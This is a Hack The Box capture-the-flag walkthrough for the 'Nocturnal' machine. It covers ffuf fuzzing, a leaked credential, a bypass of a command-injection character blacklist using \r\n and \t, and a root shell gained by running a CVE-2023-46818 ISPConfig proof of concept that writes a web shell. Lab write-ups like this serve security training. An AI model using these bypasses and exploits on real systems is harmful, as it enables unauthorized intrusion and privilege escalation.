Hackthebox: Nocturnal

Foued SAIDI Lv4

Overview

Nocturnal is an easy-difficulty machine from Hack The Box dealing initially with a web application which we’ll fuzz for hidden backup files to get some user credentials allowing us admin panel access to later create a backup and discover an RCE through source code review which will get us user flag. We’ll then abuse CVE-2023-46818 in an internal ispconfig whish is a PHP RCE to land root privileges

Nocturnal-info-card
Nocturnal-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.05 seconds

We can see that whe have our usual ssh port and a web application deployed on port 80 that’ redirecting us to nocturnal.htb, so we’ll add that entry to our /etc/hosts file.

Subdomain Enumeration

One of the first things to do on web application is subdomain enumeration:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
PS C:\Users\0xkujen\Desktop\Tools\ffuf_2.0.0_windows_amd64> .\ffuf.exe -u "http://nocturnal.htb/view.php?username=FUZZ&file=random.docx" -w ..\SecLists-master\SecLists-master\Usernames\xato-net-10-million-usernames.txt -H "Cookie: PHPSESSID=kb6mm3c21d6cc8mq54a7m4ehuv" -fs 2985

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.0.0
________________________________________________

:: Method : GET
:: URL : http://nocturnal.htb/view.php?username=FUZZ&file=random.docx
:: Wordlist : FUZZ: C:\Users\0xkujen\Desktop\Tools\SecLists-master\SecLists-master\Usernames\xato-net-10-million-usernames.txt
:: Header : Cookie: PHPSESSID=kb6mm3c21d6cc8mq54a7m4ehuv
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 2985
________________________________________________

[Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 262ms]:00:00] :: Errors: 0 ::
* FUZZ: admin

[Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 645ms][0:00:09] :: Errors: 0 ::
* FUZZ: amanda

We can see that we have a couple of interesting subdomains.

We can see a file parameter on the request, what we can do is fuzz it again to try and find an interesting file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PS C:\Users\0xkujen\Desktop\Tools\ffuf_2.0.0_windows_amd64> .\ffuf.exe -u "http://nocturnal.htb/view.php?username=amanda&file=FUZZ" -w ..\SecLists-master\SecLists-master\Discovery\Web-Content\big.txt -e .odt -H "Cookie: PHPSESSID=5srq9mqt0fm0dnjk5l63kc4ecq" -fs 3113,2967

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.0.0
________________________________________________

:: Method : GET
:: URL : http://nocturnal.htb/view.php?username=amanda&file=FUZZ
:: Wordlist : FUZZ: C:\Users\0xkujen\Desktop\Tools\SecLists-master\SecLists-master\Discovery\Web-Content\big.txt
:: Header : Cookie: PHPSESSID=5srq9mqt0fm0dnjk5l63kc4ecq
:: Extensions : .odt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 3113,2967
________________________________________________

[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 1147ms]n: [0:00:09] :: Errors: 0 :::
* FUZZ: privacy.odt

And indeed I do find a privacy.odt file which contains these credentials:
amanda:arHkG7HAI68X8s1J

Now we can login as amanda and access the admin panel under http://nocturnal.htb/admin.php

We can now scroll down, create a backup and access source code.
In the admin.php source code, there is a blacklist that is implement to prevent users from injecting malicious commands. Since a user can input the password and it would directly pass in the command as part of one full command to make a backup zip files. But this can be easily bypassed with \r\n where this will be the point of splitting the command to execute another one and \t as substitue to space:

1
2
3
4
5
6
7
8
9
10
11
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}

return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';

$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";

$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];

$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}

sleep(2);

$logContents = file_get_contents($logFile);
if (strpos($logContents, 'zip error') === false) {
echo "<div class='backup-success'>";
echo "<p>Backup created successfully.</p>";
echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
echo "</div>";
} else {
echo "<div class='error-message'>Error creating the backup.</div>";
}

unlink($logFile);
}

Now with that command injection, we find a ./nocturnal_database/nocturnal_database.db which has a tobias user’s hash that we are able to crack and claim our user flag.

Lateral movement - CVE-2023-46818

Now checking open connections:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tobias@nocturnal:~$ netstat -anot
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:587 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 36 10.129.229.125:22 10.10.16.25:52628 ESTABLISHED on (0.74/0/0)
tcp 0 1 10.129.229.125:42848 8.8.8.8:53 SYN_SENT on (5.58/3/0)
tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0)
tobias@nocturnal:~$

We can see a suspicious 8080 port which is an internal ispconfig service.

W forward that port to our personal machine with ssh or chisel and login with the credentials we have, we’ll notice version 3.2.2 which is vulnerable to CVE-2023-46818 which is a PHP code injection.
We can use this simple PoC to get root shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
tobias@nocturnal:/tmp$ python3 CVE-2023-46818.py http://localhost:8080 admin slowmotionapocalypse
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Login successful!
[+] Fetching CSRF tokens...
[+] CSRF ID: language_edit_2340f493b264f3459b59c6ab
[+] CSRF Key: 172b4c98ebdd5e8ff1c1f50adf0e1fe9c25a5c6e
[+] Injecting shell payload...
[+] Shell written to: http://localhost:8080/admin/sh.php
[+] Launching shell...

ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)

That was it for Nocturnal, hope you learned something new :)
-0xkujen

  • Title: Hackthebox: Nocturnal
  • Author: Foued SAIDI
  • Created at : 2025-08-16 17:34:57
  • Updated at : 2025-08-16 18:09:58
  • Link: https://kujen5.github.io/2025/08/16/Hackthebox-Nocturnal/
  • License: This work is licensed under CC BY-NC-SA 4.0.